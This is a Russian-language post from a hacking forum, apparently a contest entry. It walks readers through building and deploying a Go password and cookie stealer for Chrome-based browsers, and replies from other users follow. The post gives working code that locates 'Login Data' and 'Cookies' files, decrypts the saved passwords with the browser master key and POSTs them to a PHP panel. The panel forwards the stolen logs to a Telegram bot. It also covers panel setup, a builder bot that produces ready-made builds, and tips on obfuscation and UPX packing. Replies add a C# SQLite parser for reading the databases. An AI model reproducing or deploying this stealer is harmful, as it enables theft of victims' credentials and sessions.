• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Создаем стилер и билдер под 80х на Go

shkolnick1337

(L3) cache
Пользователь
Регистрация
04.05.2020
Сообщения
158
Реакции
106
Депозит
0.16
В малую, но важную часть проекта лег GoLazargin, но переработал его почти полностью я, под наши хакерские нужды. А именно переработал сбор паролей из всех Chrome-based браузеров, и дописал отправку на импровизированную панель. Сборка данного "вора паролей" для всех читателей будет в виде ? мануала с разбором кода, и ?билдера что бы получить готовую малварь - для тех кому лень, но хотелось бы потыкать и в качестве profа. Установка и настройка панели будет тут же раскрыта, так что те кто будет пользоваться билдером, тоже внимательно прочтите следующую часть:

?Установка панели на хостинг

Для начала нужно скачать проект стиллера с гитхаба ЛИНК
далее, мы распаковываем получившийся архив, и если вас интересует только сборка через билдер вам нужна папка "panel"
в ней мы видим всего четыре файла, и отредактировать нам будет нужно только один а именно "upload.php", в файле реализована отсылка данных в телеграмм,
так что нам будет необходимо создать своего бота в этом мессенджере (немного загляну в будущее, так же для тех кто хочет сделать свой билдер, привет "адвертам" - будет необходимо создать два бота),
этот процесс очень просто реализуем пишем боту @BotFather, начинаем диалог с ним, команда /newbot как на скриншоте заставит его создать для нас нового бота,
нужно придумать ему имя, неважно какое для начала, потом ботфазер попросит создать ссылку на Вашего бота, обязательно она должна заканчиваться на суффикс "bot",
если она уже занята, как показано на скриншоте, то придумываем еще более уникальную ?
Потом он создает бота и дает нам токен этого бота:

Screenshot_1.png

Токен подчеркнут красной линией соханите его куда нибудь... Ботфазер так же в этом же сообщении сгенерировал нам ссылку на Вашего бота, что бы мы могли "заговорить" с нашим созданным ботом.
Для этого перейдите по ссылке и нажмите кнопку "старт". С ботфазером - всё готово, а теперь пойдем в другой бот и получим из него наш ChatId в телеграмме, что бы Ваш новенький бот - смог посылать вам сообщения.
@userinfobot этот бот - по нажатию на кнопку "старт" выдаст вам ваш id в телеграмме, сохраняем его куда-нибудь и откроем файл upload.php, там нам будет нужно подставить наши значения в поле токена, и чатид!

Когда с этим закончили мы регистрируем хостинг, и заливаем туда наши файлы через ftp. Теперь с админкой законченно, тут нужно очень важную штуку сделать, а именно перейти на ваш сайт по домену который выдал вам хостер, и получить прямую ссылку до файла upload.php: по типу
Для тех кто просто хочет получить рабочий результат, переходим в бота @evilxomyakbot ? и скармливаем ссылку этому боту... И ждем...
Screenshot_4.png

Мы получаем билд без всяких заморочек за полминуты, просьба не тыкать как угорелые, он создаст билды как только создаст, я не миллионер на шикарные VPS тратиться.
Билд абсолютно для вас чистый, без подводных камней наподобие встроенных клипперов, или 2й ? отправки логов в другую панель, стиллер создан под статью ВЧЕРА на XSS и других предназначений у него не было, для проверки вы просто можете запустить wireshark или любой другой сниффер трафика и убедится сами в его неподкупной честности.

Итак теперь безумно сложные махинации по компиляции стиллера самостоятельно в этом видео ролике, я показал на примере бесплатного хостинга как установить панельку и скомпилировать стиллер самостоятельно он для крутых пацанов, нам понадобится скачать несколько программ для успешной компиляции проекта:
https://github.com/git-for-windows/git/releases/download/v2.27.0.windows.1/Git-2.27.0-32-bit.exe
https://dl.google.com/go/go1.14.4.windows-386.msi
https://osdn.net/projects/mingw/downloads/68260/mingw-get-setup.exe/

Видео-инструкция по компиляции приложения:

Небольшой комментарий к ролику, если у вас не - вин10, то вам будет необходимо после установки всех программ и добавления их в переменные окружения PATH, выйти из сеанса пользователя и перезайти заново, проще конечно для некоторых перезагрузить машину ?

Теперь у вас в любом случае - я вас вооружил, давайте если вам будет интересно заглянем под капот данной программы, функционал не богат, но зато работает прекрасно на любых машинах, начиная от XP и заканчивая 10ой, что является отличительной чертой языка Го, и не моей заслугой. Второе, он не сохраняет лог на жёстком диске, а записывает его структуры данных и отправляет в виде Json в панель, там Json парсится (ну косо-криво, но парсится), сохраняется в лог и перенаправляется к вам в бота....

Давайте взглянем на код:

Первое и самое главное это использованные библиотеки, язык голанг имеет очень богатую стандартную библиотеку, сравнимую лишь с пайтоном и javascript'ом, но использовать для подключения к базам данных мы будем сторонею либу, такую которую использовали XShar и Джевс в своей статьи (конкуренты моё вам уважение ?) для базы данных в своей админке, но у них админка под linux, у нас компиляция под win... И тут у нас всплывают подводные камни именно с этой библиоткой - она использует человеческий sqlite3/.c/.h под си, и компилирируется в связке с го только под Mingw32 бита, так что нам для компиляции придется установить и Голанг 32битный и Мингв32 бита ?, а так же несколько других библиотек которые по сути нам не важны сейчас в разговоре.

В стиллере реализован рекурсивный сбор файлов Login Data, и кукис в отдельные списки, из Роуминга и Локал, в двух потоках, го предоставляет нам возможность использовать многоядерность для реализации этой задумки, так что сбор будет быстрым и удобным...

Вызов функций для сбора файлов рекурсивным методом:
C++:
wg.Add(2)
go searchdata(&wg, roamingpath)
go searchdata(&wg, localpath)
wg.Wait()

Реализация этой функции:

C++:
func searchdata(wg *sync.WaitGroup, searchDir string) {
    defer wg.Done()
    _ = filepath.Walk(searchDir, func(path string, f os.FileInfo, err error) error {
        if f.Name() == "Login Data" {
            LoginDataList = append(LoginDataList, path)
        }
        if f.Name() == "Cookies" {
            CookieDataList = append(CookieDataList, path)
        }
        return nil
    })
}

Правда же клево? Давайте взглянем на ее аналог для WINAPI на том же си:

Код:
DWORD WINAPI searchFiles(wchar_t *path)
{
    WIN32_FIND_DATA ffd;
    WCHAR szDir[3000 * sizeof(WCHAR)];
    wcscpy(szDir, path);
    wcscat(szDir, L"\\*");
    HANDLE hFind = INVALID_HANDLE_VALUE;
    hFind = FindFirstFileW(szDir, &ffd);
    do
    {
        //если это папка
        if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
            if (lstrcmpW(ffd.cFileName, L"..") != 1 || lstrcmpW(ffd.cFileName, L".") != 1 )
                continue;
            //необходимые дейстивия с папками
            wchar_t* newdir = (wchar_t*)malloc(3000 * sizeof(WCHAR));
            wsprintfW(newdir, L"%ls\\%ls", path, ffd.cFileName);
            searchFiles(newdir); // <= рекурсия в туже самую функцию
            free(newdir);
        }
        //если это файл
        else
        {
            //действия с логин дата и кукис файлами
        }
        
    } while (FindNextFileW(hFind, &ffd) != 0);
    FindClose(hFind);
    return 0;
}

тут кода на порядок больше, в перемешку с вызовами винапи, дело в том, что голанг реализует всё тоже самое под капотом, весь приведенный код на си у нас уже реализован именно в этой функции, мы просто не видим то что находится внутри... с одной стороны это хорошо - гораздо проще писать код, с другой стороны мы имеем раздутый, но все таки нативный бинарник, криптовать который нужно по другому.... Об этом я тоже расскажу, но не в рамках этой статьи.

Функция получения мастер ключа из Local State у меня реализована просто переходом на папку Выше чем адресс файла, и проверкой на наличие его в этой дирректории в случае обычных хромов, а в случае оперы, проверкой на наличие в той же самой директории что и Login Data и Cookies:


C++:
func getmasterkey(file string) ([]byte, error) {
    var keyFilePath string
    if strings.Contains(file, "Opera") {
        keyFilePath = fmt.Sprintf("%s\\%s", filepath.Dir(file), localvar)
    } else {
        keyFilePath = fmt.Sprintf("%s\\%s", filepath.Dir(filepath.Dir(file)), localvar)
    }
    _, err := os.Stat(keyFilePath)
    if !os.IsNotExist(err) {
        if checkexist(keyFilePath) {
            res, _ := ioutil.ReadFile(keyFilePath)
            keyEncrypted, err := base64.StdEncoding.DecodeString(gjson.Get(string(res), "os_crypt.encrypted_key").String())
            if err == nil {
                keyEncrypted = keyEncrypted[5:]
                masterKey, err := Win32CryptUnprotectData(string(keyEncrypted), false)
                if err == nil {
                    return masterKey, nil
                }
            }
            return []byte{}, err
        }
    }
    return []byte{}, err
}

После завершения "поисковых тредов", мы проходимся по каждому файлу из массива, копируем его в туже директорию с другим случайным именем, и открывая его как базу данных
Где мы пытаемся его расшифровать одним из двух предложенных спобов, либо просто CryptUnprotectData, либо с помощью OpenSSl и мастер ключа...

C++:
var Logindata []UrlNamePass
    for _, file := range LoginDataList {
        masterKey, errMasterKey := getmasterkey(file)
        newfile := fmt.Sprintf("%s\\%s", filepath.Dir(file), RandStringBytes(15))
        copyfile(file, newfile)
        db, err := sql.Open("sqlite3", newfile)
        if err == nil {
            defer db.Close()
            rows, err := db.Query("SELECT signon_realm, username_value, password_value FROM logins")
            if err == nil {
                defer rows.Close()
                var signonUrl, username, password string
                for rows.Next() {
                    rows.Scan(&signonUrl, &username, &password)
                    if errMasterKey == nil {
                        decryptedPassword, errAesDecrypt := DecryptAESPwd([]byte(password), masterKey)
                        if errAesDecrypt != nil {
                            decryptedPassword, errUnprotectData := Win32CryptUnprotectData(password, false)
                            if errUnprotectData != nil {
                                Logindata = append(Logindata, UrlNamePass{
                                    Url:      signonUrl,
                                    Username: username,
                                    Pass:     string(decryptedPassword),
                                })
                            }
                        }

Сериализуем полученные массивы паролей и кукис в Json, и отправляем их на нашу панель:
C++:
    var JsonMainStruct []JsonMain
    JsonMainStruct = append(JsonMainStruct, JsonMain{
        Passwords: Logindata,
        Cookies:   CookieBro,
    })

    LogJson := &JsonMainStruct
    PCLogJson, err := json.Marshal(LogJson)

    if err == nil {
        req, err := http.NewRequest("POST", url, bytes.NewBuffer(PCLogJson))
        req.Header.Set("Content-Type", "application/json")
        client := &http.Client{}
        resp, err := client.Do(req)
        if err != nil {

        }
        defer resp.Body.Close()
    }

Где в php скрипте оно парсится, формируется в файлы нетскейпт кукис и паролей, и оптравляется курлом на нашего бота.
PHP:
foreach(json_decode($json, true) as $k1=>$v1) {
  foreach($v1 as $k2=>$v2) {
    switch($k2) {
    case 'Passwords':
      foreach($v2 as $k3=>$v3) {
        foreach($v3 as $k4=>$v4) {
          switch ($k4) {
          case 'Url':
            file_put_contents($ip.'/Passwords.txt', $k4.' : '.$v4."\n", FILE_APPEND);
            break;
          case 'Username':
            file_put_contents($ip.'/Passwords.txt', $k4.' : '.$v4."\n", FILE_APPEND);
            break;
          case 'Pass':
            file_put_contents($ip.'/Passwords.txt', $k4.' : '.$v4."\n"."\n", FILE_APPEND);
            break;
          }
        }
      }
      break;
    case 'Cookies':
      foreach($v2 as $k3=>$v3) {
        foreach($v3 as $k4=>$v4) {
          foreach($v4 as $k5=>$v5) {
            file_put_contents($ip.'/Cookies'.$countCookies.'.txt', $v5, FILE_APPEND);
          }
        }
        $countCookies++;
      }
      break;
    }
  }
}

В итоге мы получаем рабочий стиллер для нашей работы, всего за два дня кодинга. Причем его можно апгрейдить из того же репозитория, добавить сбор из Геко-браузеров, Ие, и других программ.
Эта статья была возможностью вам показать, что за 2 дня даже не опытный программист, может написать работающую нативную программу, и рассказать о ней в статье, так что будем вежливыми, и будем понимать, что я не пропагандирую писать на голанге, и не являюсь адептом этого языка, я вообще новичек.

С билдером вообще никаких проблем нет, ведь мы можем использовать возможности этого языка, для того что бы создавать (админки для ботнетов!) сайты, а именно воспользуемся библиотекой шаблонов!
В исходниках самого стиллера мы вместо ссылки на нашу админку запишем так:
Screenshot_6.png

где руны url у нас будет поставляемой переменной {{.}} для шаблонизатора

давайте прочитаем файл main.go шаблонизатором:

C++:
var t *template.Template
t = template.Must(template.ParseFiles("main.go"))

и подставим значение которое пришлет нам клиент бота в телеграмме:
C++:
var tpl bytes.Buffer
t.Execute(&tpl, update.Message.Text)
result := tpl.String()
Таким вот образом мы записываем в память программы наш готовый исходник и сохраняем его куда нибудь:
Код:
err = ioutil.WriteFile(clientMainName, []byte(result), 0644)

Компилируем и отсылаем через телеграмм:

C++:
doc := tgbotapi.NewDocumentUpload(ID, clientBuildName)
bot.Send(doc)

Исходник бота-билдера пока публиковать на гитхабе не буду, потому что он тестовый и как развиваться его разработка будет не знаю, хочу зарабатывать на том что бы строить вот такие приблуды, есть хорошие идеи для развития, не писать же вирусы каждый день, или писать, если будет интересно, то пишите в комментах что бы хотели увидеть, я настроен на победу в этом хакатоне, у меня остается ещё 1 шанс в этой борьбе ?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Можно скомпилировать в win32 длл и юзать как модуль для бота из нашей темы. Ссылку на гейт можно брать из аргументов при запуске, которые передаёт бот
 
Можно скомпилировать в win32 длл и юзать как модуль для бота из нашей темы. Ссылку на гейт можно брать из аргументов при запуске, которые передаёт бот
Да безусловно хорошая идея! Правда вес слишком большой, но в нынешние времена скоростного интернета это совершенно не помеха, но к сожалению у голанга есть ряд родовых травм связанных с тем что пути до библиотек у него жеско захардкорены в бинарнике, но там можно воспользоваться услугами обусфикаторов специально для этого дела: https://github.com/unixpickle/gobfuscate
 
Исходник бота-билдера пока публиковать на гитхабе не буду, потому что он тестовый и как развиваться его разработка будет не знаю, хочу зарабатывать на том что бы строить вот такие приблуды, есть хорошие идеи для развития, не писать же вирусы каждый день, или писать, если будет интересно, то пишите в комментах что бы хотели увидеть, я настроен на победу в этом хакатоне, у меня остается ещё 1 шанс в этой борьбе ?
Напрашивается конечно парсер sqlite для уменьшения объёма, код на C# тут.
C#:
using System;
using System.IO;
using System.Text;

namespace NoFile
{
    internal class SqlHandler
    {
        private readonly byte[] _sqlDataTypeSize = new byte[10]
        {
      (byte) 0,
      (byte) 1,
      (byte) 2,
      (byte) 3,
      (byte) 4,
      (byte) 6,
      (byte) 8,
      (byte) 8,
      (byte) 0,
      (byte) 0
        };
        private readonly ulong _dbEncoding;
        private readonly byte[] _fileBytes;
        private readonly ulong _pageSize;
        private string[] _fieldNames;
        private SqlHandler.SqliteMasterEntry[] _masterTableEntries;
        private SqlHandler.TableEntry[] _tableEntries;

        public SqlHandler(string fileName)
        {
            this._fileBytes = File.ReadAllBytes(fileName);
            this._pageSize = this.ConvertToULong(16, 2);
            this._dbEncoding = this.ConvertToULong(56, 4);
            this.ReadMasterTable(100L);
        }

        public string GetValue(int rowNum, int field)
        {
            try
            {
                if (rowNum >= this._tableEntries.Length)
                    return (string)null;
                return field >= this._tableEntries[rowNum].Content.Length ? (string)null : this._tableEntries[rowNum].Content[field];
            }
            catch
            {
                return (string)null;
            }
        }

        public int GetRowCount()
        {
            return this._tableEntries.Length;
        }

        private bool ReadTableFromOffset(ulong offset)
        {
            try
            {
                if ((int)this._fileBytes[offset] == 13)
                {
                    ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL);
                    int num2 = 0;
                    if (this._tableEntries != null)
                    {
                        num2 = this._tableEntries.Length;
                        Array.Resize<SqlHandler.TableEntry>(ref this._tableEntries, this._tableEntries.Length + (int)num1 + 1);
                    }
                    else
                        this._tableEntries = new SqlHandler.TableEntry[(int)num1 + 1];
                    for (ushort index1 = 0; (int)index1 <= (int)num1; ++index1)
                    {
                        ulong num3 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                        if ((long)offset != 100L)
                            num3 += offset;
                        int endIdx1 = this.Gvl((int)num3);
                        this.Cvl((int)num3, endIdx1);
                        int endIdx2 = this.Gvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L));
                        this.Cvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L), endIdx2);
                        ulong num4 = num3 + (ulong)((long)endIdx2 - (long)num3 + 1L);
                        int endIdx3 = this.Gvl((int)num4);
                        int endIdx4 = endIdx3;
                        long num5 = this.Cvl((int)num4, endIdx3);
                        SqlHandler.RecordHeaderField[] array = (SqlHandler.RecordHeaderField[])null;
                        long num6 = (long)num4 - (long)endIdx3 + 1L;
                        int index2 = 0;
                        while (num6 < num5)
                        {
                            Array.Resize<SqlHandler.RecordHeaderField>(ref array, index2 + 1);
                            int startIdx = endIdx4 + 1;
                            endIdx4 = this.Gvl(startIdx);
                            array[index2].Type = this.Cvl(startIdx, endIdx4);
                            array[index2].Size = array[index2].Type <= 9L ? (long)this._sqlDataTypeSize[array[index2].Type] : (!SqlHandler.IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L);
                            num6 = num6 + (long)(endIdx4 - startIdx) + 1L;
                            ++index2;
                        }
                        if (array != null)
                        {
                            this._tableEntries[num2 + (int)index1].Content = new string[array.Length];
                            int num7 = 0;
                            for (int index3 = 0; index3 <= array.Length - 1; ++index3)
                            {
                                if (array[index3].Type > 9L)
                                {
                                    if (!SqlHandler.IsOdd(array[index3].Type))
                                    {
                                        if ((long)this._dbEncoding == 1L)
                                            this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                        else if ((long)this._dbEncoding == 2L)
                                            this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                        else if ((long)this._dbEncoding == 3L)
                                            this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                    }
                                    else
                                        this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                }
                                else
                                    this._tableEntries[num2 + (int)index1].Content[index3] = Convert.ToString(this.ConvertToULong((int)((long)num4 + num5 + (long)num7), (int)array[index3].Size));
                                num7 += (int)array[index3].Size;
                            }
                        }
                    }
                }
                else if ((int)this._fileBytes[offset] == 5)
                {
                    ushort num1 = (ushort)(this.ConvertToULong((int)((long)offset + 3L), 2) - 1UL);
                    for (ushort index = 0; (int)index <= (int)num1; ++index)
                    {
                        ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + (int)index * 2, 2);
                        this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + (long)num2), 4) - 1UL) * this._pageSize);
                    }
                    this.ReadTableFromOffset((this.ConvertToULong((int)((long)offset + 8L), 4) - 1UL) * this._pageSize);
                }
                return true;
            }
            catch
            {
                return false;
            }
        }

        private void ReadMasterTable(long offset)
        {
            try
            {
                switch (this._fileBytes[offset])
                {
                    case 5:
                        ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL);
                        for (int index = 0; index <= (int)num1; ++index)
                        {
                            ushort num2 = (ushort)this.ConvertToULong((int)offset + 12 + index * 2, 2);
                            if (offset == 100L)
                                this.ReadMasterTable(((long)this.ConvertToULong((int)num2, 4) - 1L) * (long)this._pageSize);
                            else
                                this.ReadMasterTable(((long)this.ConvertToULong((int)(offset + (long)num2), 4) - 1L) * (long)this._pageSize);
                        }
                        this.ReadMasterTable(((long)this.ConvertToULong((int)offset + 8, 4) - 1L) * (long)this._pageSize);
                        break;
                    case 13:
                        ulong num3 = this.ConvertToULong((int)offset + 3, 2) - 1UL;
                        int num4 = 0;
                        if (this._masterTableEntries != null)
                        {
                            num4 = this._masterTableEntries.Length;
                            Array.Resize<SqlHandler.SqliteMasterEntry>(ref this._masterTableEntries, this._masterTableEntries.Length + (int)num3 + 1);
                        }
                        else
                            this._masterTableEntries = new SqlHandler.SqliteMasterEntry[checked((ulong)unchecked((long)num3 + 1L))];
                        for (ulong index1 = 0; index1 <= num3; ++index1)
                        {
                            ulong num2 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                            if (offset != 100L)
                                num2 += (ulong)offset;
                            int endIdx1 = this.Gvl((int)num2);
                            this.Cvl((int)num2, endIdx1);
                            int endIdx2 = this.Gvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L));
                            this.Cvl((int)((long)num2 + ((long)endIdx1 - (long)num2) + 1L), endIdx2);
                            ulong num5 = num2 + (ulong)((long)endIdx2 - (long)num2 + 1L);
                            int endIdx3 = this.Gvl((int)num5);
                            int endIdx4 = endIdx3;
                            long num6 = this.Cvl((int)num5, endIdx3);
                            long[] numArray = new long[5];
                            for (int index2 = 0; index2 <= 4; ++index2)
                            {
                                int startIdx = endIdx4 + 1;
                                endIdx4 = this.Gvl(startIdx);
                                numArray[index2] = this.Cvl(startIdx, endIdx4);
                                numArray[index2] = numArray[index2] <= 9L ? (long)this._sqlDataTypeSize[numArray[index2]] : (!SqlHandler.IsOdd(numArray[index2]) ? (numArray[index2] - 12L) / 2L : (numArray[index2] - 13L) / 2L);
                            }
                            if ((long)this._dbEncoding == 1L || (long)this._dbEncoding == 2L)
                                ;
                            if ((long)this._dbEncoding == 1L)
                                this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                            else if ((long)this._dbEncoding == 2L)
                                this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                            else if ((long)this._dbEncoding == 3L)
                                this._masterTableEntries[num4 + (int)index1].ItemName = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0]), (int)numArray[1]);
                            this._masterTableEntries[num4 + (int)index1].RootNum = (long)this.ConvertToULong((int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2]), (int)numArray[3]);
                            if ((long)this._dbEncoding == 1L)
                                this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Default.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                            else if ((long)this._dbEncoding == 2L)
                                this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                            else if ((long)this._dbEncoding == 3L)
                                this._masterTableEntries[num4 + (int)index1].SqlStatement = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num5 + num6 + numArray[0] + numArray[1] + numArray[2] + numArray[3]), (int)numArray[4]);
                        }
                        break;
                }
            }
            catch
            {
            }
        }

        public bool ReadTable(string tableName)
        {
            try
            {
                int index1 = -1;
                for (int index2 = 0; index2 <= this._masterTableEntries.Length; ++index2)
                {
                    if (string.Compare(this._masterTableEntries[index2].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0)
                    {
                        index1 = index2;
                        break;
                    }
                }
                if (index1 == -1)
                    return false;
                string[] strArray = this._masterTableEntries[index1].SqlStatement.Substring(this._masterTableEntries[index1].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(',');
                for (int index2 = 0; index2 <= strArray.Length - 1; ++index2)
                {
                    strArray[index2] = strArray[index2].TrimStart();
                    int length = strArray[index2].IndexOf(' ');
                    if (length > 0)
                        strArray[index2] = strArray[index2].Substring(0, length);
                    if (strArray[index2].IndexOf("UNIQUE", StringComparison.Ordinal) != 0)
                    {
                        Array.Resize<string>(ref this._fieldNames, index2 + 1);
                        this._fieldNames[index2] = strArray[index2];
                    }
                }
                return this.ReadTableFromOffset((ulong)(this._masterTableEntries[index1].RootNum - 1L) * this._pageSize);
            }
            catch
            {
                return false;
            }
        }

        private ulong ConvertToULong(int startIndex, int size)
        {
            try
            {
                if (size > 8 | size == 0)
                    return 0;
                ulong num = 0;
                for (int index = 0; index <= size - 1; ++index)
                    num = num << 8 | (ulong)this._fileBytes[startIndex + index];
                return num;
            }
            catch
            {
                return 0;
            }
        }

        private int Gvl(int startIdx)
        {
            try
            {
                if (startIdx > this._fileBytes.Length)
                    return 0;
                for (int index = startIdx; index <= startIdx + 8; ++index)
                {
                    if (index > this._fileBytes.Length - 1)
                        return 0;
                    if (((int)this._fileBytes[index] & 128) != 128)
                        return index;
                }
                return startIdx + 8;
            }
            catch
            {
                return 0;
            }
        }

        private long Cvl(int startIdx, int endIdx)
        {
            try
            {
                ++endIdx;
                byte[] numArray = new byte[8];
                int num1 = endIdx - startIdx;
                bool flag = false;
                if (num1 == 0 | num1 > 9)
                    return 0;
                if (num1 == 1)
                {
                    numArray[0] = (byte)((uint)this._fileBytes[startIdx] & 127);
                    return BitConverter.ToInt64(numArray, 0);
                }
                if (num1 == 9)
                    flag = true;
                int num2 = 1;
                int num3 = 7;
                int index1 = 0;
                if (flag)
                {
                    numArray[0] = this._fileBytes[endIdx - 1];
                    --endIdx;
                    index1 = 1;
                }
                int index2 = endIdx - 1;
                while (index2 >= startIdx)
                {
                    if (index2 - 1 >= startIdx)
                    {
                        numArray[index1] = (byte)((int)this._fileBytes[index2] >> num2 - 1 & (int)byte.MaxValue >> num2 | (int)this._fileBytes[index2 - 1] << num3);
                        ++num2;
                        ++index1;
                        --num3;
                    }
                    else if (!flag)
                        numArray[index1] = (byte)((int)this._fileBytes[index2] >> num2 - 1 & (int)byte.MaxValue >> num2);
                    index2 += -1;
                }
                return BitConverter.ToInt64(numArray, 0);
            }
            catch
            {
                return 0;
            }
        }

        private static bool IsOdd(long value)
        {
            return (value & 1L) == 1L;
        }

        private struct RecordHeaderField
        {
            public long Size;
            public long Type;
        }

        private struct TableEntry
        {
            public string[] Content;
        }

        private struct SqliteMasterEntry
        {
            public string ItemName;
            public long RootNum;
            public string SqlStatement;
        }
    }
}
Переписывется не очень сложно, я переписывал для своего проекта, но лень выдерать.
Про сборку вообще ничего не сказано, а вот такой batch может уменьшить зверька в 1.5-2 раза.
Код:
set GOOS=windows
set GOARCH=386
go build -o %~dp0\build\project.exe -ldflags="-s -w"
%~dp0upx\upx %~dp0build\project.exe -f --brute
 
Напрашивается конечно парсер sqlite для уменьшения объёма, код на C# тут.
C#:
using System;
using System.IO;
using System.Text;

namespace NoFile
{
    internal class SqlHandler
    {
        private readonly byte[] _sqlDataTypeSize = new byte[10]
        {
      (byte) 0,
      (byte) 1,
      (byte) 2,
      (byte) 3,
      (byte) 4,
      (byte) 6,
      (byte) 8,
      (byte) 8,
      (byte) 0,
      (byte) 0
        };
        private readonly ulong _dbEncoding;
        private readonly byte[] _fileBytes;
        private readonly ulong _pageSize;
        private string[] _fieldNames;
        private SqlHandler.SqliteMasterEntry[] _masterTableEntries;
        private SqlHandler.TableEntry[] _tableEntries;

        public SqlHandler(string fileName)
        {
            this._fileBytes = File.ReadAllBytes(fileName);
            this._pageSize = this.ConvertToULong(16, 2);
            this._dbEncoding = this.ConvertToULong(56, 4);
            this.ReadMasterTable(100L);
        }

        public string GetValue(int rowNum, int field)
        {
            try
            {
                if (rowNum >= this._tableEntries.Length)
                    return (string)null;
                return field >= this._tableEntries[rowNum].Content.Length ? (string)null : this._tableEntries[rowNum].Content[field];
            }
            catch
            {
                return (string)null;
            }
        }

        public int GetRowCount()
        {
            return this._tableEntries.Length;
        }

        private bool ReadTableFromOffset(ulong offset)
        {
            try
            {
                if ((int)this._fileBytes[offset] == 13)
                {
                    ushort num1 = (ushort)(this.ConvertToULong((int)offset + 3, 2) - 1UL);
                    int num2 = 0;
                    if (this._tableEntries != null)
                    {
                        num2 = this._tableEntries.Length;
                        Array.Resize<SqlHandler.TableEntry>(ref this._tableEntries, this._tableEntries.Length + (int)num1 + 1);
                    }
                    else
                        this._tableEntries = new SqlHandler.TableEntry[(int)num1 + 1];
                    for (ushort index1 = 0; (int)index1 <= (int)num1; ++index1)
                    {
                        ulong num3 = this.ConvertToULong((int)offset + 8 + (int)index1 * 2, 2);
                        if ((long)offset != 100L)
                            num3 += offset;
                        int endIdx1 = this.Gvl((int)num3);
                        this.Cvl((int)num3, endIdx1);
                        int endIdx2 = this.Gvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L));
                        this.Cvl((int)((long)num3 + ((long)endIdx1 - (long)num3) + 1L), endIdx2);
                        ulong num4 = num3 + (ulong)((long)endIdx2 - (long)num3 + 1L);
                        int endIdx3 = this.Gvl((int)num4);
                        int endIdx4 = endIdx3;
                        long num5 = this.Cvl((int)num4, endIdx3);
                        SqlHandler.RecordHeaderField[] array = (SqlHandler.RecordHeaderField[])null;
                        long num6 = (long)num4 - (long)endIdx3 + 1L;
                        int index2 = 0;
                        while (num6 < num5)
                        {
                            Array.Resize<SqlHandler.RecordHeaderField>(ref array, index2 + 1);
                            int startIdx = endIdx4 + 1;
                            endIdx4 = this.Gvl(startIdx);
                            array[index2].Type = this.Cvl(startIdx, endIdx4);
                            array[index2].Size = array[index2].Type <= 9L ? (long)this._sqlDataTypeSize[array[index2].Type] : (!SqlHandler.IsOdd(array[index2].Type) ? (array[index2].Type - 12L) / 2L : (array[index2].Type - 13L) / 2L);
                            num6 = num6 + (long)(endIdx4 - startIdx) + 1L;
                            ++index2;
                        }
                        if (array != null)
                        {
                            this._tableEntries[num2 + (int)index1].Content = new string[array.Length];
                            int num7 = 0;
                            for (int index3 = 0; index3 <= array.Length - 1; ++index3)
                            {
                                if (array[index3].Type > 9L)
                                {
                                    if (!SqlHandler.IsOdd(array[index3].Type))
                                    {
                                        if ((long)this._dbEncoding == 1L)
                                            this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                        else if ((long)this._dbEncoding == 2L)
                                            this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Unicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                        else if ((long)this._dbEncoding == 3L)
                                            this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.BigEndianUnicode.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                    }
                                    else
                                        this._tableEntries[num2 + (int)index1].Content[index3] = Encoding.Default.GetString(this._fileBytes, (int)((long)num4 + num5 + (long)num7), (int)array[index3].Size);
                                }
                                else
                                    this._tableEntries[num2 + (int)index1].Content[index3] = Convert.ToString(this.ConvertToULong((int)((long)num4 + num5 + (long)num7), (int)array[index3].Size));
                                num7 += (int)array[index3].Size;
                            }
                        }
                    }
                }
                else if ((int)this._fileBytes[offset] == 5)
                {
                    ushort num1 = (ushort)(this.ConvertToULong((int)((long)offset + 3L), 2) - 1UL);
                    for (ushort index = 0; (int)index <= (int)num1; ++index)
                    {
